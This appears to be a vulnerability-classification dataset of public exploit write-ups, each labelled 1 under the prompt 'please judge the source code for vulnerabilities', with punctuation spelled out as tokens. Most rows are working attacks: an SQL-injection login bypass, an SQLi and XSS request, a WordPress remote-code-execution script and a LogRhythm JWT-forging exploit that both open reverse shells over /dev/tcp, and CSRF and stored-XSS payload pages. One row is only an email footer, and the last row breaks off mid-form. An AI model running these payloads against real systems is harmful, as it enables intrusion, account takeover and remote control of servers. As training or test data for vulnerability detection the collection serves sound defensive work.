<slash>| <backslash> <backslash><underscore><underscore><backslash> <underscore><underscore><underscore><slash> <backslash><underscore><underscore><underscore> <backslash><NEWLINE><slash><underscore><underscore><underscore><underscore> ><backslash><underscore><underscore><underscore> ><underscore><underscore>| <backslash><underscore><slash> |<underscore><underscore>|<backslash><underscore><underscore><underscore> ><underscore><underscore><underscore> ><underscore><underscore><underscore><underscore> ><NEWLINE><backslash><slash> <backslash><slash> <backslash><slash> <backslash><slash> <backslash><slash><NEWLINE>SQL Injection Authentication Bypass<NEWLINE>Product Page: https:<slash><slash>storage.googleapis.com<slash>google<hyphen>code<hyphen>archive<hyphen>downloads<slash>v2<slash>code.google.com<slash>cspmum<slash>cmum<hyphen>231.zip<NEWLINE>Author(Pentester): Youssef mami (contact@hammamet<hyphen>services.com)<NEWLINE>On Web: www.hammamet<hyphen>services.com and http:<slash><slash>hiservices.blogspot.com ( our blog )<NEWLINE>On Social: www.facebook.com<slash>hammamet.informatique and https:<slash><slash>twitter.com<slash>hammamet<underscore>info<NEWLINE>we just need to input admin login like this : admin<single<underscore>quote> or <single<underscore>quote> 1=1<hyphen><hyphen> and any password :<hyphen>)<NEWLINE>login : admin<single<underscore>quote> or <single<underscore>quote> 1=1<hyphen><hyphen><NEWLINE>password: hammamet informatique services | 1 |
please judge the source code for vulnerabilities. | POST <slash>standard<slash>mainframe.php HTTP<slash>1.1<NEWLINE>Cache<hyphen>Control: no<hyphen>cache<NEWLINE>Referer: http:<slash><slash>79.2.122.25<slash>standard<slash>mainframe.php<NEWLINE>Accept: text<slash>xml,application<slash>xml,application<slash>xhtml+xml,text<slash><NEWLINE>html;q=0.9,text<slash>plain;q=0.8,image<slash>png,*<slash>*;q=0.5<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0 (Windows NT 6.3; WOW64) AppleWebKit<slash>537.36 (KHTML,<NEWLINE>like Gecko) Chrome<slash>41.0.2272.16 Safari<slash>537.36<NEWLINE>Accept<hyphen>Language: en<hyphen>us,en;q=0.5<NEWLINE>Cookie: Locale=1033<NEWLINE>Accept<hyphen>Encoding: gzip, deflate<NEWLINE>Content<hyphen>Length: 222<NEWLINE>Content<hyphen>Type: application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<NEWLINE>SessionID=&LocaleID=<single<underscore>quote>or<single<underscore>quote>1=1&LoginSessionID=&LoginUserNameMD5=<double<underscore>quote><slash>><svg<slash><NEWLINE>onload=prompt(<slash>XSS<slash>)><NEWLINE>&LoginPasswordMD5=&LoginCommand=&LoginPassword=&<NEWLINE>rememberMeCheck=&LoginDevice=192.168.1.12&LoginUserName=Guest<NEWLINE>HTTP<slash>1.1 200 OK<NEWLINE>Set<hyphen>Cookie: rememberUser=deleted; expires=Wednesday, 24<hyphen>May<hyphen>17 08:54:02<NEWLINE>GMT; path=<slash><NEWLINE>Server: Apache<slash>1.3.23 (Unix) PHP<slash>4.4.9<NEWLINE>X<hyphen>Powered<hyphen>By: PHP<slash>4.4.9<NEWLINE>Content<hyphen>Type: text<slash>html<NEWLINE>Transfer<hyphen>Encoding: chunked<NEWLINE>Date: Thu, 24 May 2018 08:54:03 GMT<NEWLINE><br <slash>><NEWLINE><b>Warning<<slash>b>: xw<underscore>get<underscore>users() expects parameter 1 to be long, string<NEWLINE>given in <b><slash>mnt<slash>mtd6<slash>xlweb<slash>web<slash>standard<slash>login<slash>loginpage.php<<slash>b> on line<NEWLINE><b>97<<slash>b><br <slash>><NEWLINE><br <slash>><NEWLINE><b>Warning<<slash>b>: xml<underscore>load<underscore>texts<underscore>file() expects parameter 2 to be long,<NEWLINE>string given in <b><slash>mnt<slash>mtd6<slash>xlweb<slash>web<slash>standard<slash>include<slash>elements.php<<slash>b> on<NEWLINE>line <b>247<<slash>b><br <slash>><NEWLINE><html><NEWLINE><head><NEWLINE><meta http<hyphen>equiv=<double<underscore>quote>content<hyphen>type<double<underscore>quote> content=<double<underscore>quote>text<slash>html; charset=utf<hyphen>8<double<underscore>quote><slash>><NEWLINE><meta http<hyphen>equiv=<double<underscore>quote>expires<double<underscore>quote> content=<double<underscore>quote>0<double<underscore>quote><slash>><NEWLINE><link rel=<double<underscore>quote>stylesheet<double<underscore>quote> href=<double<underscore>quote>include<slash>honeywell.css<double<underscore>quote><slash>><NEWLINE><title><br <slash>><NEWLINE><b>Notice<<slash>b>: Undefined index: HeadTitle in <b><slash>mnt<slash>mtd6<slash>xlweb<slash>web<slash><NEWLINE>standard<slash>login<slash>loginpage.php<<slash>b> on line <b>300<<slash>b><br <slash>><NEWLINE><<slash>title> | 1 |
please judge the source code for vulnerabilities. | <hyphen><hyphen><NEWLINE>Notice: This email does not mean I<single<underscore>quote>m consenting to receiving promotional<NEWLINE>emails<slash>spam<slash>etc. Remember Canada has laws. | 1 |
please judge the source code for vulnerabilities. | rev<underscore>host=<double<underscore>quote>192.168.57.1<double<underscore>quote><NEWLINE>function prep<underscore>host<underscore>header() {<NEWLINE>cmd=<double<underscore>quote>$1<double<underscore>quote><NEWLINE>rce<underscore>cmd=<double<underscore>quote><backslash>${run{$cmd}}<double<underscore>quote>;<NEWLINE>rce<underscore>cmd=<double<underscore>quote>`echo $rce<underscore>cmd | sed <single<underscore>quote>s^<slash>^<backslash>${substr{0}{1}{<backslash>$spool<underscore>directory}}^g<single<underscore>quote>`<double<underscore>quote><NEWLINE>rce<underscore>cmd=<double<underscore>quote>`echo $rce<underscore>cmd | sed <single<underscore>quote>s^ ^<backslash>${substr{10}{1}{<backslash>$tod<underscore>log}}^g<single<underscore>quote>`<double<underscore>quote><NEWLINE>host<underscore>header=<double<underscore>quote>target(any <hyphen>froot@localhost <hyphen>be $rce<underscore>cmd null)<double<underscore>quote><NEWLINE>return 0<NEWLINE>}<NEWLINE>intro=<double<underscore>quote><NEWLINE>DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r<NEWLINE>bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f<NEWLINE>G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c<NEWLINE>G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg<NEWLINE>IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f<NEWLINE>IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f<NEWLINE>X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6<NEWLINE>b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb<NEWLINE>NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N<NEWLINE>TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1<NEWLINE>QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz<NEWLINE>NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g<NEWLINE>G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54<NEWLINE>eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb<NEWLINE>WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO<NEWLINE>TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg<NEWLINE>ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb<NEWLINE>MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD<NEWLINE>G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob<NEWLINE>WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz<NEWLINE>NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb<NEWLINE>MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f<NEWLINE>X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4<NEWLINE>bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K<double<underscore>quote><NEWLINE>intro2=<double<underscore>quote><NEWLINE>ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09<NEWLINE>fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb<NEWLINE>MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg<NEWLINE>ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE<NEWLINE>aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09<NEWLINE>fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg<NEWLINE>ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh<NEWLINE>bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt<NEWLINE>ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt<NEWLINE>ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp<NEWLINE>bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1<NEWLINE>cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==<double<underscore>quote><NEWLINE>echo <double<underscore>quote>$intro<double<underscore>quote> | base64 <hyphen>d<NEWLINE>echo <double<underscore>quote>$intro2<double<underscore>quote> | base64 <hyphen>d<NEWLINE>if [ <double<underscore>quote>$<NEWLINE>echo <hyphen>e <double<underscore>quote>Usage:<backslash>n$0 target<hyphen>wordpress<hyphen>url<backslash>n<double<underscore>quote><NEWLINE>exit 1<NEWLINE>fi<NEWLINE>target=<double<underscore>quote>$1<double<underscore>quote><NEWLINE>echo <hyphen>ne <double<underscore>quote><backslash>e[91m[*]<backslash>033[0m<double<underscore>quote><NEWLINE>read <hyphen>p <double<underscore>quote> Sure you want to get a shell on the target <single<underscore>quote>$target<single<underscore>quote> ? [y<slash>N] <double<underscore>quote> choice<NEWLINE>echo<NEWLINE>if [ <double<underscore>quote>$choice<double<underscore>quote> == <double<underscore>quote>y<double<underscore>quote> ]; then<NEWLINE>echo <hyphen>e <double<underscore>quote><backslash>e[92m[*]<backslash>033[0m Guess I can<single<underscore>quote>t argue with that... Let<single<underscore>quote>s get started...<backslash>n<double<underscore>quote><NEWLINE>echo <hyphen>e <double<underscore>quote><backslash>e[92m[+]<backslash>033[0m Connected to the target<double<underscore>quote><NEWLINE>RCE<underscore>exec<underscore>cmd=<double<underscore>quote>(sleep 3s && nohup bash <hyphen>i ><slash>dev<slash>tcp<slash>$rev<underscore>host<slash>1337 0<&1 2>&1) &<double<underscore>quote><NEWLINE>echo <double<underscore>quote>$RCE<underscore>exec<underscore>cmd<double<underscore>quote> > rce.txt<NEWLINE>python <hyphen>mSimpleHTTPServer 80 2><slash>dev<slash>null >&2 &<NEWLINE>hpid=$!<NEWLINE>cmd=<double<underscore>quote><slash>usr<slash>bin<slash>curl <hyphen>o<slash>tmp<slash>rce $rev<underscore>host<slash>rce.txt<double<underscore>quote><NEWLINE>prep<underscore>host<underscore>header <double<underscore>quote>$cmd<double<underscore>quote><NEWLINE>curl <hyphen>H<double<underscore>quote>Host: $host<underscore>header<double<underscore>quote> <hyphen>s <hyphen>d <single<underscore>quote>user<underscore>login=admin&wp<hyphen>submit=Get+New+Password<single<underscore>quote> $target<slash>wp<hyphen>login.php?action=lostpassword<NEWLINE>echo <hyphen>e <double<underscore>quote><backslash>n<backslash>e[92m[+]<backslash>e[0m Payload sent successfully<double<underscore>quote><NEWLINE>cmd=<double<underscore>quote><slash>bin<slash>bash <slash>tmp<slash>rce<double<underscore>quote><NEWLINE>prep<underscore>host<underscore>header <double<underscore>quote>$cmd<double<underscore>quote><NEWLINE>curl <hyphen>H<double<underscore>quote>Host: $host<underscore>header<double<underscore>quote> <hyphen>d <single<underscore>quote>user<underscore>login=admin&wp<hyphen>submit=Get+New+Password<single<underscore>quote> $target<slash>wp<hyphen>login.php?action=lostpassword &<NEWLINE>echo <hyphen>e <double<underscore>quote><backslash>n<backslash>e[92m[+]<backslash>033[0m Payload executed!<double<underscore>quote><NEWLINE>echo <hyphen>e <double<underscore>quote><backslash>n<backslash>e[92m[*]<backslash>033[0m Waiting for the target to send us a <backslash>e[94mreverse shell<backslash>e[0m...<backslash>n<double<underscore>quote><NEWLINE>nc <hyphen>vv <hyphen>l 1337<NEWLINE>echo<NEWLINE>else<NEWLINE>echo <hyphen>e <double<underscore>quote><backslash>e[92m[+]<backslash>033[0m Responsible choice ;) Exiting.<backslash>n<double<underscore>quote><NEWLINE>exit 0<NEWLINE>fi<NEWLINE>echo <double<underscore>quote>Exiting...<double<underscore>quote><NEWLINE>exit 0 | 1 |
please judge the source code for vulnerabilities. | import json<NEWLINE>import requests<NEWLINE>import argparse<NEWLINE>import time<NEWLINE>import jwt<NEWLINE>def forge<underscore>jwt(rhost):<NEWLINE>print <double<underscore>quote>[+] Forging JWT authentication token<double<underscore>quote><NEWLINE>key = <single<underscore>quote>Gluten<hyphen>free 100% narwhal deserunt polaroid; quinoa keytar asymmetrical slow<hyphen>carb plaid occaecat nostrud green juice dolor!<single<underscore>quote><NEWLINE>iat = time.time()<NEWLINE>exp = iat + 3600;<NEWLINE>body = json.loads(<single<underscore>quote>{<double<underscore>quote>iat<double<underscore>quote>:1479893930,<double<underscore>quote>exp<double<underscore>quote>:1479894830,<double<underscore>quote>data<double<underscore>quote>:{<double<underscore>quote>username<double<underscore>quote>:<double<underscore>quote>admin<double<underscore>quote>,<double<underscore>quote>licensed<double<underscore>quote>:true,<double<underscore>quote>role<double<underscore>quote>:<double<underscore>quote>admin<double<underscore>quote>,<double<underscore>quote>timeToResetPass<double<underscore>quote>:false}}<single<underscore>quote>)<NEWLINE>body[<double<underscore>quote>iat<double<underscore>quote>] = int(iat)<NEWLINE>body[<double<underscore>quote>exp<double<underscore>quote>] = int(exp)<NEWLINE>token = jwt.encode(body, key, algorithm=<single<underscore>quote>HS512<single<underscore>quote>);<NEWLINE>return token<NEWLINE>def command<underscore>inject(rhost, lhost, lport, gwhost, ifname):<NEWLINE>uri = <double<underscore>quote>https:<slash><slash>%s<slash>data<slash>api<slash>configuration<slash><double<underscore>quote> % rhost<NEWLINE>json<underscore>body = json.loads(<single<underscore>quote>{<double<underscore>quote>type<double<underscore>quote>:<double<underscore>quote>network<double<underscore>quote>,<double<underscore>quote>configurations<double<underscore>quote>:[{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>interface<double<underscore>quote>,<double<underscore>quote>value<double<underscore>quote>:<double<underscore>quote><double<underscore>quote>,<double<underscore>quote>isToggle<double<underscore>quote>:false},{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>method<double<underscore>quote>,<double<underscore>quote>value<double<underscore>quote>:true,<double<underscore>quote>isToggle<double<underscore>quote>:true},{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>ipAddress<double<underscore>quote>,<double<underscore>quote>value<double<underscore>quote>:<double<underscore>quote><double<underscore>quote>,<double<underscore>quote>isToggle<double<underscore>quote>:false},{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>netMask<double<underscore>quote>,<double<underscore>quote>value<double<underscore>quote>:<double<underscore>quote>255.255.255.0<double<underscore>quote>,<double<underscore>quote>isToggle<double<underscore>quote>:false},{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>gateway<double<underscore>quote>,<double<underscore>quote>value<double<underscore>quote>:<double<underscore>quote><double<underscore>quote>,<double<underscore>quote>isToggle<double<underscore>quote>:false},{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>dnsServers<double<underscore>quote>,<double<underscore>quote>value<double<underscore>quote>:<double<underscore>quote><double<underscore>quote>,<double<underscore>quote>isToggle<double<underscore>quote>:false},{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>searchDomains<double<underscore>quote>,<double<underscore>quote>value<double<underscore>quote>:<double<underscore>quote><double<underscore>quote>,<double<underscore>quote>isToggle<double<underscore>quote>:false}],<double<underscore>quote>diffFields<double<underscore>quote>:[<double<underscore>quote>dnsServers<double<underscore>quote>]}<single<underscore>quote>)<NEWLINE>payload = <double<underscore>quote>;bash <hyphen>i >& <slash>dev<slash>tcp<slash>%s<slash>%s 0>&1<double<underscore>quote> % (lhost, lport)<NEWLINE>json<underscore>body[<double<underscore>quote>configurations<double<underscore>quote>][0][<double<underscore>quote>value<double<underscore>quote>] = ifname<NEWLINE>json<underscore>body[<double<underscore>quote>configurations<double<underscore>quote>][2][<double<underscore>quote>value<double<underscore>quote>] = rhost<NEWLINE>json<underscore>body[<double<underscore>quote>configurations<double<underscore>quote>][3][<double<underscore>quote>value<double<underscore>quote>] = payload<NEWLINE>json<underscore>body[<double<underscore>quote>configurations<double<underscore>quote>][4][<double<underscore>quote>value<double<underscore>quote>] = gwhost<NEWLINE>json<underscore>body[<double<underscore>quote>configurations<double<underscore>quote>][5][<double<underscore>quote>value<double<underscore>quote>] = gwhost<NEWLINE>jwt = forge<underscore>jwt(rhost)<NEWLINE>auth<underscore>header = {<single<underscore>quote>Token<single<underscore>quote>: jwt}<NEWLINE>print <double<underscore>quote>[+] Initiating reverse shell via command injection at %s:%s<double<underscore>quote> % (lhost, lport)<NEWLINE>requests.post(url=uri, json=json<underscore>body, headers=auth<underscore>header, verify=False)<NEWLINE>if <underscore><underscore>name<underscore><underscore> == <single<underscore>quote><underscore><underscore>main<underscore><underscore><single<underscore>quote>:<NEWLINE>parser = argparse.ArgumentParser(description=<single<underscore>quote>LogRhythm Network Monitor Root Remote Command Execution PoC<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>rhost<single<underscore>quote>, help=<single<underscore>quote>RHOST IP address<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>lhost<single<underscore>quote>, help=<single<underscore>quote>LHOST IP address<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>lport<single<underscore>quote>, help=<single<underscore>quote>LPORT<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>gwhost<single<underscore>quote>, help=<single<underscore>quote>Gateway IP address<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>ifname<single<underscore>quote>, help=<single<underscore>quote>Target Interface Identifier<single<underscore>quote>, default=<single<underscore>quote>enp0s3<single<underscore>quote>)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>command<underscore>inject(args.rhost, args.lhost, args.lport, args.gwhost, args.ifname) | 1 |
please judge the source code for vulnerabilities. | 1. Visit the application<NEWLINE>2. Go to add page option<NEWLINE>3. Create a crafted HTTP page with delete<slash> add option and host it on<NEWLINE>a server. Upon sending the link to a user and upon click, it gets triggered<NEWLINE>and the page is added<slash>deleted<NEWLINE>4. Payload:<NEWLINE><html><NEWLINE><body><NEWLINE><script>history.pushState(<single<underscore>quote><single<underscore>quote>, <single<underscore>quote><single<underscore>quote>, <single<underscore>quote><slash><single<underscore>quote>)<<slash>script><NEWLINE><form action=<double<underscore>quote>http:<slash><slash>localhost<slash>kirby<slash>panel<slash>pages<slash>csrf<hyphen>test<hyphen>page<slash>delete<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>&<NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Submit request<double<underscore>quote> <slash>><NEWLINE><<slash>form><NEWLINE><script><NEWLINE>document.forms[0].submit();<NEWLINE><<slash>script><NEWLINE><<slash>body><NEWLINE><<slash>html> | 1 |
please judge the source code for vulnerabilities. | Summary: OneSignal is a high volume and reliable push notification service<NEWLINE>for websites and mobile applications. We support all major native and mobile<NEWLINE>platforms by providing dedicated SDKs for each platform, a RESTful server API,<NEWLINE>and an online dashboard for marketers to design and send push notifications.<NEWLINE>Desc: The application suffers from an authenticated stored XSS via POST request.<NEWLINE>The issue is triggered when input passed via the POST parameter <single<underscore>quote>subdomain<single<underscore>quote> is<NEWLINE>not properly sanitized before being returned to the user. This can be exploited<NEWLINE>to execute arbitrary HTML and script code in a user<single<underscore>quote>s browser session in context<NEWLINE>of an affected site.<NEWLINE>Tested on: WordPress 5.2.2<NEWLINE>Apache<slash>2.4.39<NEWLINE>PHP<slash>7.1.30<NEWLINE>Vulnerability discovered by Gjoko <single<underscore>quote>LiquidWorm<single<underscore>quote> Krstic<NEWLINE>@zeroscience<NEWLINE>Advisory ID: ZSL<hyphen>2019<hyphen>5530<NEWLINE>Advisory URL: https:<slash><slash>www.zeroscience.mk<slash>en<slash>vulnerabilities<slash>ZSL<hyphen>2019<hyphen>5530.php<NEWLINE><html><NEWLINE><body><NEWLINE><script>history.pushState(<single<underscore>quote><single<underscore>quote>, <single<underscore>quote>SHPA<single<underscore>quote>, <single<underscore>quote><slash><single<underscore>quote>)<<slash>script><NEWLINE><form action=<double<underscore>quote>http:<slash><slash>127.0.0.1<slash>wp<hyphen>admin<slash>admin.php?page=onesignal<hyphen>push<double<underscore>quote> method=<double<underscore>quote>POST<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>onesignal<underscore>config<underscore>page<underscore>nonce<double<underscore>quote> value=<double<underscore>quote>f7fae30a4f<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote><underscore>wp<underscore>http<underscore>referer<double<underscore>quote> value=<double<underscore>quote><slash>wp<hyphen>admin<slash>admin.php?page=onesignal<hyphen>push<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>app<underscore>id<double<underscore>quote> value=<double<underscore>quote>14d99ab2<hyphen>fc9d<hyphen>1337<hyphen>bc16<hyphen>a8a6df479515<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>app<underscore>rest<underscore>api<underscore>key<double<underscore>quote> value=<double<underscore>quote>M2IzZDA4MzItOGJmOS00YjRkLWE4YzEtZSLmMjllNjlkYmZl<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>subdomain<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote>><script>confirm(251)<<slash>script><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>safari<underscore>web<underscore>id<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>showNotificationIconFromPostThumbnail<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>showNotificationImageFromPostThumbnail<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>persist<underscore>notifications<double<underscore>quote> value=<double<underscore>quote>platform<hyphen>default<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notification<underscore>title<double<underscore>quote> value=<double<underscore>quote>hACKME<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>enable<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>showAfterSubscribed<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>prenotify<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>showcredit<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>customize<underscore>enable<double<underscore>quote> value=<double<underscore>quote>true<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>size<double<underscore>quote> value=<double<underscore>quote>medium<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>position<double<underscore>quote> value=<double<underscore>quote>bottom<hyphen>right<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>theme<double<underscore>quote> value=<double<underscore>quote>default<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>offset<underscore>bottom<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>offset<underscore>left<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>offset<underscore>right<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>background<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>foreground<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>badge<underscore>background<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>badge<underscore>foreground<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>badge<underscore>border<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>pulse<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>background<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>background<underscore>hover<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>notifyButton<underscore>color<underscore>popup<underscore>button<underscore>background<underscore>active<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> 